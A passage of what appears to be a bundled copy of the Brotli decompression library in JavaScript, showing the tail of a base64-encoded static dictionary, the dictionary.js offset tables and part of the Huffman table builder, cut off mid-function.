XGm8vWATEPwrUVOLvoA8jLuwOzVBCgHB2Cr5V6OwEWtJEKokJkfc87h+sNHTvMb0KVTp5284QTPupoWvQVUwUeogZR3kBMESYo0mfukewRVPKh5+rzLQb7HKjFFIgWhj1w3yN/qCNoPI8XFiUgBNT1hCHBsAz8L7Oyt8wQWUFj92ONn/APyJFg8hzueqoJdNj57ROrFbffuS/XxrSXLTRgj5uxZjpgQYceeMc2wJrahReSKpm3QjHfqExTLAB2ipVumE8pqcZv8LYXQiPHHsgb5BMW8zM5pvQit+mQx8XGaVDcfVbLyMTlY8xcfmm/RSAT/H09UQol5gIz7rESDmnrQ4bURIB4iRXMDQwxgex1GgtDxKp2HayIkR+E/aDmCttNm2C6lytWdfOVzD6X2SpDWjQDlMRvAp1symWv4my1bPCD+E1EmGnMGWhNwmycJnDV2WrQNxO45ukEb08AAffizYKVULp15I4vbNK5DzWwCSUADfmKhfGSUqii1L2UsE8rB7mLuHuUJZOx4+WiizHBJ/hwboaBzhpNOVvgFTf5cJsHef7L1HCI9dOUUbb+YxUJWn6dYOLz+THi91kzY5dtO5c+grX7v0jEbsuoOGnoIreDIg/sFMyG+TyCLIcAWd1IZ1UNFxE8Uie13ucm40U2fcxC0u3WLvLOxwu+F7MWUsHsdtFQZ7W+nlfCASiAKyh8rnP3EyDByvtJb6Kax6/HkLzT9SyEyTMVM1zPtM0MJY14DmsWh4MgD15Ea9Hd00AdkTZ0EiG5NAGuIBzQJJ0JR0na+OB7lQA6UKxMfihIQ7GCCnVz694QvykWXTxpS2soDu+smru1UdIxSvAszBFD1c8c6ZOobA8bJiJIvuycgIXBQIXWwhyTgZDQxJTRXgEwRNAawGSXO0a1DKjdihLVNp/taE/xYhsgwe+VpKEEB4LlraQyE84gEihxCnbfoyOuJIEXy2FIYw+JjRusybKlU2g/vhTSGTydvCvXhYBdtAXtS2v7LkHtmXh/8fly1do8FI/D0f8UbzVb5h+KRhMGSAmR2mhi0YG/uj7wgxcfzCrMvdjitUIpXDX8ae2JcF/36qUWIMwN6JsjaRGNj+jEteGDcFyTUb8X/NHSucKMJp7pduxtD6KuxVlyxxwaeiC1FbGBESO84lbyrAugYxdl+2N8/6AgWpo/IeoAOcsG35IA/b3AuSyoa55L7llBLlaWlEWvuCFd8f8NfcTUgzJv6CbB+6ohWwodlk9nGWFpBAOaz5uEW5xBvmjnHFeDsb0mXwayj3mdYq5gxxNf3H3/tnCgHwjSrpSgVxLmiTtuszdRUFIsn6LiMPjL808vL1uQhDbM7aA43mISXReqjSskynIRcHCJ9qeFopJfx9tqyUoGbSwJex/0aDE3plBPGtNBYgWbdLom3+Q/bjdizR2/AS/c/dH/d3G7pyl1qDXgtOFtEqidwLqxPYtrNEveasWq3vPUUtqTeu8gpov4bdOQRI2kneFvRNMrShyVeEupK1PoLDPMSfWMIJcs267mGB8X9CehQCF0gIyhpP10mbyM7lwW1e6TGvHBV1sg/UyTghHPGRqMyaebC6pbB1WKNCQtlai1GGvmq9zUKaUzLaXsXEBYtHxmFbEZ2kJhR164LhWW2Tlp1dhsGE7ZgIWRBOx3Zcu2DxgH+G83WTPceKG0TgQKKiiNNOlWgvqNEbnrk6fVD+AqRam2OguZb0YWSTX88N+i/ELSxbaUUpPx4vJUzYg/WonSeA8xUK6u7DPHgpqWpEe6D4cXg5uK9FIYVba47V/nb+wyOtk+zG8RrS4EA0ouwa04iByRLSvoJA2FzaobbZtXnq8GdbfqEp5I2dpfpj59TCVif6+E75p665faiX8gS213RqBxTZqfHP46nF6NSenOneuT+vgbLUbdTH2/t0REFXZJOEB6DHvx6N6g9956CYrY/AYcm9gELJXYkrSi+0F0geKDZgOCIYkLU/+GOW5aGj8mvLFgtFH5+XC8hvAE3CvHRfl4ofM/Qwk4x2A+R+nyc9gNu/9Tem7XW4XRnyRymf52z09cTOdr+PG6+P/Vb4QiXlwauc5WB1z3o+IJjlbxI8MyWtSzT+k4sKVbhF3xa+vDts3NxXa87iiu+xRH9cAprnOL2h6vV54iQRXuOAj1s8nLFK8gZ70ThIQcWdF19/2xaJmT0efrkNDkWbpAQPdo92Z8+Hn/aLjbOzB9AI/k12fPs9HhUNDJ1u6ax2VxD3R6PywN7BrLJ26z6s3QoMp76qzzwetrDABKSGkfW5PwS1GvYNUbK6uRqxfyVGNyFB0E+OugMM8kKwmJmupuRWO8XkXXXQECyRVw9UyIrtCtcc4oNqXqr7AURBmKn6Khz3eBN96LwIJrAGP9mr/59uTOSx631suyT+QujDd4beUFpZ0kJEEnjlP+X/Kr2kCKhnENTg4BsMTOmMqlj2WMFLRUlVG0fzdCBgUta9odrJfpVdFomTi6ak0tFjXTcdqqvWBAzjY6hVrH9sbt3Z9gn+AVDpTcQImefbB4edirjzrsNievve4ZT4EUZWV3TxEsIW+9MT/RJoKfZZYSRGfC1CwPG/9rdMOM8qR/LUYvw5f/emUSoD7YSFuOoqchdUg2UePd1eCtFSKgxLSZ764oy4lvRCIH6bowPxZWwxNFctksLeil47pfevcBipkkBIc4ngZG+kxGZ71a72KQ7VaZ6MZOZkQJZXM6kb/Ac0/XkJx8dvyfJcWbI3zONEaEPIW8GbkYjsZcwy+eMoKrYjDmvEEixHzkCSCRPRzhOfJZuLdcbx19EL23MA8rnjTZZ787FGMnkqnpuzB5/90w1gtUSRaWcb0eta8198VEeZMUSfIhyuc4/nywFQ9uqn7jdqXh+5wwv+RK9XouNPbYdoEelNGo34KyySwigsrfCe0v/PlWPvQvQg8R0KgHO18mTVThhQrlbEQ0Kp/JxPdjHyR7E1QPw/ut0r+HDDG7BwZFm9IqEUZRpv2WpzlMkOemeLcAt5CsrzskLGaVOAxyySzZV/D2EY7ydNZMf8e8VhHcKGHAWNszf1EOq8fNstijMY4JXyATwTdncFFqcNDfDo+mWFvxJJpc4sEZtjXyBdoFcxbUmniCoKq5jydUHNjYJxMqN1KzYV62MugcELVhS3Bnd+TLLOh7dws/zSXWzxEb4Nj4aFun5x4kDWLK5TUF/yCXB/cZYvI9kPgVsG2jShtXkxfgT+xzjJofXqPEnIXIQ1lnIdmVzBOM90EXvJUW6a0nZ/7XjJGl8ToO3H/fdxnxmTNKBZxnkpXLVgLXCZywGT3YyS75w/PAH5I/jMuRspej8xZObU9kREbRA+kqjmKRFaKGWAmFQspC+QLbKPf0RaK3OXvBSWqo46p70ws/eZpu6jCtZUgQy6r4tHMPUdAgWGGUYNbuv/1a6K+MVFsd3T183+T8capSo6m0+Sh57fEeG/95dykGJBQMj09DSW2bY0mUonDy9a8trLnnL5B5LW3Nl8rJZNysO8Zb+80zXxqUGFpud3Qzwb7bf+8mq6x0TAnJU9pDQR9YQmZhlna2xuxJt0aCO/f1SU8gblOrbIyMsxTlVUW69VJPzYU2HlRXcqE2lLLxnObZuz2tT9CivfTAUYfmzJlt/lOPgsR6VN64/xQd4Jlk/RV7UKVv2Gx/AWsmTAuCWKhdwC+4HmKEKYZh2Xis4KsUR1BeObs1c13wqFRnocdmuheaTV30gvVXZcouzHKK5zwrN52jXJEuX6dGx3BCpV/++4f3hyaW/cQJLFKqasjsMuO3B3WlMq2gyYfdK1e7L2pO/tRye2mwzwZPfdUMrl5wdLqdd2Kv/wVtnpyWYhd49L6rsOV+8HXPrWH2Kup89l2tz6bf80iYSd+V4LROSOHeamvexR524q4r43rTmtFzQvArpvWfLYFZrbFspBsXNUqqenjxNNsFXatZvlIhk7teUPfK+YL32F8McTnjv0BZNppb+vshoCrtLXjIWq3EJXpVXIlG6ZNL0dh6qEm2WMwDjD3LfOfkGh1/czYc/0qhiD2ozNnH4882MVVt3JbVFkbwowNCO3KL5IoYW5wlVeGCViOuv1svZx7FbzxKzA4zGqBlRRaRWCobXaVq4yYCWbZf8eiJwt3OY+MFiSJengcFP2t0JMfzOiJ7cECvpx7neg1Rc5x+7myPJOXt2FohVRyXtD+/rDoTOyGYInJelZMjolecVHUhUNqvdZWg2J2t0jPmiLFeRD/8fOT4o+NGILb+TufCo9ceBBm3JLVn+MO2675n7qiEX/6W+188cYg3Zn5NSTjgOKfWFSAANa6raCxSoVU851oJLY11WIoYK0du0ec5E4tCnAPoKh71riTsjVIp3gKvBbEYQiNYrmH22oLQWA2AdwMnID6PX9b58dR2QKo4qag1D1Z+L/FwEKTR7osOZPWECPJIHQqPUsM5i/CH5YupVPfFA5pHUBcsesh8eO5YhyWnaVRPZn/BmdXVumZWPxMP5e28zm2uqHgFoT9CymHYNNrzrrjlXZM06HnzDxYNlI5b/QosxLmmrqDFqmogQdqk0WLkUceoAvQxHgkIyvWU69BPFr24VB6+lx75Rna6dGtrmOxDnvBojvi1/4dHjVeg8owofPe1cOnxU1ioh016s/Vudv9mhV9f35At+Sh28h1bpp8xhr09+vf47Elx3Ms6hyp6QvB3t0vnLbOhwo660cp7K0vvepabK7YJfxEWWfrC2YzJfYOjygPwfwd/1amTqa0hZ5ueebhWYVMubRTwIjj+0Oq0ohU3zfRfuL8gt59XsHdwKtxTQQ4Y2qz6gisxnm2UdlmpEkgOsZz7iEk6QOt8BuPwr+NR01LTqXmJo1C76o1N274twJvl+I069TiLpenK/miRxhyY8jvYV6W1WuSwhH9q7kuwnJMtm7IWcqs7HsnyHSqWXLSpYtZGaR1V3t0gauninFPZGtWskF65rtti48UV9uV9KM8kfDYs0pgB00S+TlzTXV6P8mxq15b9En8sz3jWSszcifZa/NuufPNnNTb031pptt0+sRSH/7UG8pzbsgtt3OG3ut7B9JzDMt2mTZuyRNIV8D54TuTrpNcHtgmMlYJeiY9XS83NYJicjRjtJSf9BZLsQv629QdDsKQhTK5CnXhpk7vMNkHzPhm0ExW/VCGApHfPyBagtZQTQmPHx7g5IXXsrQDPzIVhv2LB6Ih138iSDww1JNHrDvzUxvp73MsQBVhW8EbrReaVUcLB1R3PUXyaYG4HpJUcLVxMgDxcPkVRQpL7VTAGabDzbKcvg12t5P8TSGQkrj/gOrpnbiDHwluA73xbXts/L7u468cRWSWRtgTwlQnA47EKg0OiZDgFxAKQQUcsbGomITgeXUAAyKe03eA7Mp4gnyKQmm0LXJtEk6ddksMJCuxDmmHzmVhO+XaN2A54MIh3niw5CF7PwiXFZrnA8wOdeHLvvhdoqIDG9PDI7UnWWHq526T8y6ixJPhkuVKZnoUruOpUgOOp3iIKBjk+yi1vHo5cItHXb1PIKzGaZlRS0g5d3MV2pD8FQdGYLZ73aae/eEIUePMc4NFz8pIUfLCrrF4jVWH5gQneN3S8vANBmUXrEcKGn6hIUN95y1vpsvLwbGpzV9L0ZKTan6TDXM05236uLJcIEMKVAxKNT0K8WljuwNny3BNQRfzovA85beI9zr1AGNYnYCVkR1aGngWURUrgqR+gRrQhxW81l3CHevjvGEPzPMTxdsIfB9dfGRbZU0cg/1mcubtECX4tvaedmNAvTxCJtc2QaoUalGfENCGK7IS/O8CRpdOVca8EWCRwv2sSWE8CJPW5PCugjCXPd3h6U60cPD+bdhtXZuYB6stcoveE7Sm5MM2yvfUHXFSW7KzLmi7/EeEWL0wqcOH9MOSKjhCHHmw+JGLcYE/7SBZQCRggox0ZZTAxrlzNNXYXL5fNIjkdT4YMqVUz6p8YDt049v4OXGdg3qTrtLBUXOZf7ahPlZAY/O+7Sp0bvGSHdyQ8B1LOsplqMb9Se8VAE7gIdSZvxbRSrfl+Lk5Qaqi5QJceqjitdErcHXg/3MryljPSIAMaaloFm1cVwBJ8DNmkDqoGROSHFetrgjQ5CahuKkdH5pRPigMrgTtlFI8ufJPJSUlGgTjbBSvpRc0zypiUn6U5KZqcRoyrtzhmJ7/caeZkmVRwJQeLOG8LY6vP5ChpKhc8Js0El+n6FXqbx9ItdtLtYP92kKfaTLtCi8StLZdENJa9Ex1nOoz1kQ7qxoiZFKRyLf4O4CHRT0T/0W9F8epNKVoeyxUXhy3sQMMsJjQJEyMOjmOhMFgOmmlscV4eFi1CldU92yjwleirEKPW3bPAuEhRZV7JsKV3Lr5cETAiFuX5Nw5UlF7d2HZ96Bh0sgFIL5KGaKSoVYVlvdKpZJVP5+NZ7xDEkQhmDgsDKciazJCXJ6ZN2B3FY2f6VZyGl/t4aunGIAk/BHaS+i+SpdRfnB/OktOvyjinWNfM9Ksr6WwtCa1hCmeRI6icpFM4o8quCLsikU0tMoZI/9EqXRMpKGaWzofl4nQuVQm17d5fU5qXCQeCDqVaL9XJ9qJ08n3G3EFZS28SHEb3cdRBdtO0YcTzil3QknNKEe/smQ1fTb0XbpyNB5xAeuIlf+5KWlEY0DqJbsnzJlQxJPOVyHiKMx5Xu9FcEv1Fbg6Fhm4t+Jyy5JC1W3YO8dYLsO0PXPbxodBgttTbH3rt9Cp1lJIk2r3O1Zqu94eRbnIz2f50lWolYzuKsj4PMok4abHLO8NAC884hiXx5Fy5pWKO0bWL7uEGXaJCtznhP67SlQ4xjWIfgq6EpZ28QMtuZK7JC0RGbl9nA4XtFLug/NLMoH1pGt9IonAJqcEDLyH6TDROcbsmGPaGIxMo41IUAnQVPMPGByp4mOmh9ZQMkBAcksUK55LsZj7E5z5XuZoyWCKu6nHmDq22xI/9Z8YdxJy4kWpD16jLVrpwGLWfyOD0Wd+cBzFBxVaGv7S5k9qwh/5t/LQEXsRqI3Q9Rm3QIoaZW9GlsDaKOUyykyWuhNOprSEi0s1G4rgoiX1V743EELti+pJu5og6X0g6oTynUqlhH9k6ezyRi05NGZHz0nvp3HOJr7ebrAUFrDjbkFBObEvdQWkkUbL0pEvMU46X58vF9j9F3j6kpyetNUBItrEubW9ZvMPM4qNqLlsSBJqOH3XbNwv/cXDXNxN8iFLzUhteisYY+RlHYOuP29/Cb+L+xv+35Rv7xudnZ6ohK4cMPfCG8KI7dNmjNk/H4e84pOxn/sZHK9psfvj8ncA8qJz7O8xqbxESDivGJOZzF7o5PJLQ7g34qAWoyuA+x3btU98LT6ZyGyceIXjrqob2CAVql4VOTQPUQYvHV/g4zAuCZGvYQBtf0wmd5lilrvuEn1BXLny01B4h4SMDlYsnNpm9d7m9h578ufpef9Z4WplqWQvqo52fyUA7J24eZD5av6SyGIV9kpmHNqyvdfzcpEMw97BvknV2fq+MFHun9BT3Lsf8pbzvisWiIQvYkng+8Vxk1V+dli1u56kY50LRjaPdotvT5BwqtwyF+emo/z9J3yVUVGfKrxQtJMOAQWoQii/4dp9wgybSa5mkucmRLtEQZ/pz0tL/NVcgWAd95nEQ3Tg6tNbuyn3Iepz65L3huMUUBntllWuu4DbtOFSMSbpILV4fy6wlM0SOvi6CpLh81c1LreIvKd61uEWBcDw1lUBUW1I0Z+m/PaRlX+PQ/oxg0Ye6KUiIiTF4ADNk59Ydpt5/rkxmq9tV5Kcp/eQLUVVmBzQNVuytQCP6Ezd0G8eLxWyHpmZWJ3bAzkWTtg4lZlw42SQezEmiUPaJUuR/qklVA/87S4ArFCpALdY3QRdUw3G3XbWUp6aq9z0zUizcPa7351p9JXOZyfdZBFnqt90VzQndXB/mwf8LC9STj5kenVpNuqOQQP3mIRJj7eV21FxG8VAxKrEn3c+XfmZ800EPb9/5lIlijscUbB6da0RQaMook0zug1G0tKi/JBC4rw7/D3m4ARzAkzMcVrDcT2SyFtUdWAsFlsPDFqV3N+EjyXaoEePwroaZCiLqEzb8MW+PNE9TmTC01EzWli51PzZvUqkmyuROU+V6ik+Le/9qT6nwzUzf9tP68tYei0YaDGx6kAd7jn1cKqOCuYbiELH9zYqcc4MnRJjkeGiqaGwLImhyeKs+xKJMBlOJ05ow9gGCKZ1VpnMKoSCTbMS+X+23y042zOb5MtcY/6oBeAo1Vy89OTyhpavFP78jXCcFH0t7Gx24hMEOm2gsEfGabVpQgvFqbQKMsknFRRmuPHcZu0Su/WMFphZvB2r/EGbG72rpGGho3h+Msz0uGzJ7hNK2uqQiE1qmn0zgacKYYZBCqsxV+sjbpoVdSilW/b94n2xNb648VmNIoizqEWhBnsen+d0kbCPmRItfWqSBeOd9Wne3c6bcd6uvXOJ6WdiSsuXq0ndhqrQ4QoWUjCjYtZ0EAhnSOP1m44xkf0O7jXghrzSJWxP4a/t72jU29Vu2rvu4n7HfHkkmQOMGSS+NPeLGO5I73mC2B7+lMiBQQZRM9/9liLIfowupUFAbPBbR+lxDM6M8Ptgh1paJq5Rvs7yEuLQv/7d1oU2woFSb3FMPWQOKMuCuJ7pDDjpIclus5TeEoMBy2YdVB4fxmesaCeMNsEgTHKS5WDSGyNUOoEpcC2OFWtIRf0w27ck34/DjxRTVIcc9+kqZE6iMSiVDsiKdP/Xz5XfEhm/sBhO50p1rvJDlkyyxuJ9SPgs7YeUJBjXdeAkE+P9OQJm6SZnn1svcduI78dYmbkE2mtziPrcjVisXG78spLvbZaSFx/Rks9zP4LKn0Cdz/3JsetkT06A8f/yCgMO6Mb1Hme0JJ7b2wZz1qleqTuKBGokhPVUZ0dVu+tnQYNEY1fmkZSz6+EGZ5EzL7657mreZGR3jUfaEk458PDniBzsSmBKhDRzfXameryJv9/D5m6HIqZ0R+ouCE54Dzp4IJuuD1e4Dc5i+PpSORJfG23uVgqixAMDvchMR0nZdH5brclYwRoJRWv/rlxGRI5ffD5NPGmIDt7vDE1434pYdVZIFh89Bs94HGGJbTwrN8T6lh1HZFTOB4lWzWj6EVqxSMvC0/ljWBQ3F2kc/mO2b6tWonT2JEqEwFts8rz2h+oWNds9ceR2cb7zZvJTDppHaEhK5avWqsseWa2Dt5BBhabdWSktS80oMQrL4TvAM9b5HMmyDnO+OkkbMXfUJG7eXqTIG6lqSOEbqVR+qYdP7uWb57WEJqzyh411GAVsDinPs7KvUeXItlcMdOUWzXBH6zscymV1LLVCtc8IePojzXHF9m5b5zGwBRdzcyUJkiu938ApmAayRdJrX1PmVguWUvt2ThQ62czItTyWJMW2An/hdDfMK7SiFQlGIdAbltHz3ycoh7j9V7GxNWBpbtcSdqm4XxRwTawc3cbZ+xfSv9qQfEkDKfZTwCkqWGI/ur250ItXlMlh6vUNWEYIg9A3GzbgmbqvTN8js2YMo87CU5y6nZ4dbJLDQJj9fc7yM7tZzJDZFtqOcU8+mZjYlq4VmifI23iHb1ZoT9E+kT2dolnP1AfiOkt7PQCSykBiXy5mv637IegWSKj9IKrYZf4Lu9+I7ub+mkRdlvYzehh/jaJ9n7HUH5b2IbgeNdkY7wx1yVzxS7pbvky6+nmVUtRllEFfweUQ0/nG017WoUYSxs+j2B4FV/F62EtHlMWZXYrjGHpthnNb1x66LKZ0Qe92INWHdfR/vqp02wMS8r1G4dJqHok8KmQ7947G13a4YXbsGgHcBvRuVu1eAi4/A5+ZixmdSXM73LupB/LH7O9yxLTVXJTyBbI1S49TIROrfVCOb/czZ9pM4JsZx8kUz8dQGv7gUWKxXvTH7QM/3J2OuXXgciUhqY+cgtaOliQQVOYthBLV3xpESZT3rmfEYNZxmpBbb24CRao86prn+i9TNOh8VxRJGXJfXHATJHs1T5txgc/opYrY8XjlGQQbRcoxIBcnVsMjmU1ymmIUL4dviJXndMAJ0Yet+c7O52/p98ytlmAsGBaTAmMhimAnvp1TWNGM9BpuitGj+t810CU2UhorrjPKGtThVC8WaXw04WFnT5fTjqmPyrQ0tN3CkLsctVy2xr0ZWgiWVZ1OrlFjjxJYsOiZv2cAoOvE+7sY0I/TwWcZqMoyIKNOftwP7w++Rfg67ljfovKYa50if3fzE/8aPYVey/Nq35+nH2sLPh/fP5TsylSKGOZ4k69d2PnH43+kq++sRXHQqGArWdwhx+hpwQC6JgT2uxehYU4Zbw7oNb6/HLikPyJROGK2ouyr+vzseESp9G50T4AyFrSqOQ0rroCYP4sMDFBrHn342EyZTMlSyk47rHSq89Y9/nI3zG5lX16Z5lxphguLOcZUndL8wNcrkyjH82jqg8Bo8OYkynrxZvbFno5lUS3OPr8Ko3mX9NoRPdYOKKjD07bvgFgpZ/RF+YzkWvJ/Hs/tUbfeGzGWLxNAjfDzHHMVSDwB5SabQLsIZHiBp43FjGkaienYoDd18hu2BGwOK7U3o70K/WY/kuuKdmdrykIBUdG2mvE91L1JtTbh20mOLbk1vCAamu7utlXeGU2ooVikbU/actcgmsC1FKk2qmj3GWeIWbj4tGIxE7BLcBWUvvcnd/lYxsMV4F917fWeFB/XbINN3qGvIyTpCalz1lVewdIGqeAS/gB8Mi+sA+BqDiX3VGD2eUunTRbSY+AuDy4E3Qx3hAhwnSXX+B0zuj3eQ1miS8Vux2z/l6/BkWtjKGU72aJkOCWhGcSf3+kFkkB15vGOsQrSdFr6qTj0gBYiOlnBO41170gOWHSUoBVRU2JjwppYdhIFDfu7tIRHccSNM5KZOFDPz0TGMAjzzEpeLwTWp+kn201kU6NjbiMQJx83+LX1e1tZ10kuChJZ/XBUQ1dwaBHjTDJDqOympEk8X2M3VtVw21JksChA8w1tTefO3RJ1FMbqZ01bHHkudDB/OhLfe7P5GOHaI28ZXKTMuqo0hLWQ4HabBsGG7NbP1RiXtETz074er6w/OerJWEqjmkq2y51q1BVI+JUudnVa3ogBpzdhFE7fC7kybrAt2Z6RqDjATAUEYeYK45WMupBKQRtQlU+uNsjnzj6ZmGrezA+ASrWxQ6LMkHRXqXwNq7ftv28dUx/ZSJciDXP2SWJsWaN0FjPX9Yko6LobZ7aYW/IdUktI9apTLyHS8DyWPyuoZyxN1TK/vtfxk3HwWh6JczZC8Ftn0bIJay2g+n5wd7lm9rEsKO+svqVmi+c1j88hSCxbzrg4+HEP0Nt1/B6YW1XVm09T1CpAKjc9n18hjqsaFGdfyva1ZG0Xu3ip6N6JGpyTSqY5h4BOlpLPaOnyw45PdXTN+DtAKg7DLrLFTnWusoSBHk3s0d7YouJHq85/R09Tfc37ENXZF48eAYLnq9GLioNcwDZrC6FW6godB8JnqYUPvn0pWLfQz0lM0Yy8Mybgn84Ds3Q9bDP10bLyOV+qzxa4Rd9Dhu7cju8mMaONXK3UqmBQ9qIg7etIwEqM/kECk/Dzja4Bs1xR+Q/tCbc8IKrSGsTdJJ0vge7IG20W687uVmK6icWQ6cD3lwFzgNMGtFvO5qyJeKflGLAAcQZOrkxVwy3cWvqlGpvjmf9Qe6Ap20MPbV92DPV0OhFM4kz8Yr0ffC2zLWSQ1kqY6QdQrttR3kh1YLtQd1kCEv5hVoPIRWl5ERcUTttBIrWp6Xs5Ehh5OUUwI5aEBvuiDmUoENmnVw1FohCrbRp1A1E+XSlWVOTi7ADW+5Ohb9z1vK4qx5R5lPdGCPBJZ00mC+Ssp8VUbgpGAvXWMuWQQRbCqI6Rr2jtxZxtfP7W/8onz+yz0Gs76LaT5HX9ecyiZCB/ZR/gFtMxPsDwohoeCRtiuLxE1GM1vUEUgBv86+eehL58/P56QFGQ/MqOe/vC76L63jzmeax4exd/OKTUvkXg+fOJUHych9xt/9goJMrapSgvXrj8+8vk/N80f22Sewj6cyGqt1B6mztoeklVHHraouhvHJaG/OuBz6DHKMpFmQULU1bRWlyYE0RPXYYkUycIemN7TLtgNCJX6BqdyxDKkegO7nJK5xQ7OVYDZTMf9bVHidtk6DQX9Et+V9M7esgbsYBdEeUpsB0Xvw2kd9+rI7V+m47u+O/tq7mw7262HU1WlS9uFzsV6JxIHNmUCy0QS9e077JGRFbG65z3/dOKB/Zk+yDdKpUmdXjn/aS3N5nv4fK7bMHHmPlHd4E2+iTbV5rpzScRnxk6KARuDTJ8Q1LpK2mP8gj1EbuJ9RIyY+EWK4hCiIDBAS1Tm2IEXAFfgKPgdL9O6mAa06wjCcUAL6EsxPQWO9VNegBPm/0GgkZbDxCynxujX/92vmGcjZRMAY45puak2sFLCLSwXpEsyy5fnF0jGJBhm+fNSHKKUUfy+276A7/feLOFxxUuHRNJI2Osenxyvf8DAGObT60pfTTlhEg9u/KKkhJqm5U1/+BEcSkpFDA5XeCqxwXmPac1jcuZ3JWQ+p0NdWzb/5v1ZvF8GtMTFFEdQjpLO0bwPb0BHNWnip3liDXI2fXf05jjvfJ0NpjLCUgfTh9CMFYVFKEd4Z/OG/2C+N435mnK+9t1gvCiVcaaH7rK4+PjCvpVNiz+t2QyqH1O8x3JKZVl6Q+Lp/XK8wMjVMslOq9FdSw5FtUs/CptXH9PW+wbWHgrV17R5jTVOtGtKFu3nb80T+E0tv9QkzW3J2dbaw/8ddAKZ0pxIaEqLjlPrji3VgJ3GvdFvlqD8075woxh4fVt0JZE0KVFsAvqhe0dqN9b35jtSpnYMXkU+vZq+IAHad3IHc2s/LYrnD1anfG46IFiMIr9oNbZDWvwthqYNqOigaKd/XlLU4XHfk/PXIjPsLy/9/kAtQ+/wKH+hI/IROWj5FPvTZAT9f7j4ZXQyG4M0TujMAFXYkKvEHv1xhySekgXGGqNxWeWKlf8dDAlLuB1cb/qOD+rk7cmwt+1yKpk9cudqBanTi6zTbXRtV8qylNtjyOVKy1HTz0GW9rjt6sSjAZcT5R+KdtyYb0zyqG9pSLuCw5WBwAn7fjBjKLLoxLXMI+52L9cLwIR2B6OllJZLHJ8vDxmWdtF+QJnmt1rsHPIWY20lftk8fYePkAIg6Hgn532QoIpegMxiWgAOfe5/U44APR8Ac0NeZrVh3gEhs12W+tVSiWiUQekf/YBECUy5fdYbA08dd7VzPAP9aiVcIB9k6tY7WdJ1wNV+bHeydNtmC6G5ICtFC1ZwmJU/j8hf0I8TRVKSiz5oYIa93EpUI78X8GYIAZabx47/n8LDAAJ0nNtP1rpROprqKMBRecShca6qXuTSI3jZBLOB3Vp381B5rCGhjSvh/NSVkYp2qIdP/Bg=\";\n","/* Copyright 2013 Google Inc. All Rights Reserved.\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n\n Collection of static dictionary words.\n*/\n\nvar data = require('./dictionary-data');\nexports.init = function() {\n exports.dictionary = data.init();\n};\n\nexports.offsetsByLength = new Uint32Array([\n 0, 0, 0, 0, 0, 4096, 9216, 21504, 35840, 44032,\n 53248, 63488, 74752, 87040, 93696, 100864, 104704, 106752, 108928, 113536,\n 115968, 118528, 119872, 121280, 122016,\n]);\n\nexports.sizeBitsByLength = new Uint8Array([\n 0, 0, 0, 0, 10, 10, 11, 11, 10, 10,\n 10, 10, 10, 9, 9, 8, 7, 7, 8, 7,\n 7, 6, 6, 5, 5,\n]);\n\nexports.minDictionaryWordLength = 4;\nexports.maxDictionaryWordLength = 24;\n","function HuffmanCode(bits, value) {\n this.bits = bits; /* number of bits used for this symbol */\n this.value = value; /* symbol value or table offset */\n}\n\nexports.HuffmanCode = HuffmanCode;\n\nvar MAX_LENGTH = 15;\n\n/* Returns reverse(reverse(key, len) + 1, len), where reverse(key, len) is the\n bit-wise reversal of the len least significant bits of key. */\nfunction GetNextKey(key, len) {\n var step = 1 << (len - 1);\n while (key & step) {\n step >>= 1;\n }\n return (key & (step - 1)) + step;\n}\n\n/* Stores code in table[0], table[step], table[2*step], ..., table[end] */\n/* Assumes that end is an integer multiple of step */\nfunction ReplicateValue(table, i, step, end, code) {\n do {\n end -= step;\n table[i + end] = new HuffmanCode(code.bits, code.value);\n } while (end > 0);\n}\n\n/* Returns the table width of the next 2nd level table. count is the histogram\n of bit lengths for the remaining symbols, len is the code length of the next\n processed symbol */\nfunction NextTableBitSize(count, len, root_bits) {\n var left = 1 << (len - root_bits);\n while (len < MAX_LENGTH) {\n left -= count[len];\n if (left <= 0) break;\n ++len;\n left <<= 1;\n }\n return len - root_bits;\n}\n\nexports.BrotliBuildHuffmanTable = function(root_table, table, root_bits, code_lengths, code_lengths_size) {\n var start_table = table;\n var code; /* current table entry */\n var len; /* current code length */\n var symbol; /* symbol index in original or sorted table */\n var key; /* reversed prefix code */\n var step; /* step size to replicate values in current table */\n var low; /* low bits for current root entry */\n var mask; /* mask for low bits */\n var table_bits; /* key length of current table */\n var table_size; /* size of current table */\n var total_size; /* sum of root table size and 2nd level table sizes */\n var sorted; /* symbols sorted by code length */\n var count = new Int32Array(MAX_LENGTH + 1); /* number of codes of each length */\n var offset = new Int32Array(MAX_LENGTH + 1); /* offsets in sorted table for each length */\n\n sorted = new Int32Array(code_lengths_size);\n\n /* build histogram of code lengths */\n for (symbol = 0; symbol < code_lengths_size; symbol++) {\n count[code_lengths[symbol]]++;\n }\n\n /* generate offsets into sorted symbol table by code length */\n offset[1] = 0;\n for (len = 1; len < MAX_LENGTH; len++) {\n offset[len + 1] = offset[len] + count[len];\n }\n\n /* sort symbols by length, by symbol order within each length */\n for (symbol = 0; symbol < code_lengths_size; symbol++) {\n if (code_lengths[symbol] !== 0) {\n sorted[offset[code_lengths[symbol]]++] = symbol;\n }\n }\n \n table_bits = root_bits;\n table_size = 1 << table_bits;\n total_size = table_size;\n\n /* special case code with only one value */\n if (offset[MAX_LENGTH] === 1) {\n for (key = 0; key < total_size; ++key) {\n root_table[table + key] = new HuffmanCode(0, sorted[0] & 0xffff);\n }\n \n return total_size;\n }\n\n /* fill in root table */\n key = 0;\n symbol = 0;\n for (len = 1, step = 2; len <= root_bits; ++len, step <<= 1) {\n for (; count[len] > 0; --count[len]) {\n code = new HuffmanCode(len & 0xff, sorted[symbol++] & 0xffff);\n ReplicateValue(root_table, table + key, step, table_size, code);\n key = GetNextKey(key, len);\n }\n }\n\n /* fill in 2nd level tables and add pointers to root table */\n mask = total_size - 1;\n low = -1;\n for (len = root_bits + 1, step = 2; len <= MAX_LENGTH; ++len, step <<= 1) {\n for (; count[len] > 0; --count[len]) {\n if ((key & mask) !== low) {\n table += table_size;\n table_bits = NextTableBitSize(count, len, root_bits);\n table_size = 1 << table_bits;\n total_size += table_size;\n low = key & mask;\n root_table[start_table + low] = new HuffmanCode((table_bits + root_bits) & 0xff, ((table - start_table) - low) & 0xffff);\n 